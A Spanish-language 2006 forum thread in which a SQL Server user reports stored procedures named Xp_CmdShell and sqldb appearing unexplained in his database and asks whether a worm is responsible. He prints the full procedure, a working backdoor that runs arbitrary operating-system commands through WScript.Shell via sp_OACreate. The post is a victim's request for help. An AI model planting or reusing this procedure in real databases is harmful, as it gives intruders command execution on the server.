Procedimiento almacenado sospechoso

27/02/2006 - 18:02 por Manel Gonzalez | Informe spam
Hola a todos...

Creo que tengo un problema, aunque no se si es serio o no. En los últimos 3
meses se me han creado 3 procedimientos en la base de datos "por arte de
magia"
El texto del procedimiento siempre es el mismo, lo único que cambia es el
nombre: dos veces se generó con el nombre de Xp_CmdShell y otra con Sqldb.


CREATE PROCEDURE sqldb(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int

EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)


EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)


EXECUTE @OLEResult = sp_OADestroy @ShellID

return @result

A alguien más le ha pasado lo mismo?? Es un gusano que corre por ahí?
Puedo mediante el Profiler saber que proceso crea un procedimiento?? (lo he
estado mirando y me parece que no se puede)
 

Leer las respuestas

#1 Penta
27/02/2006 - 19:07 | Informe spam
Cual es el resultado de dicho SP ?
No tienes algun desarrollador con privilegios para crear SP ?

Preguntas similares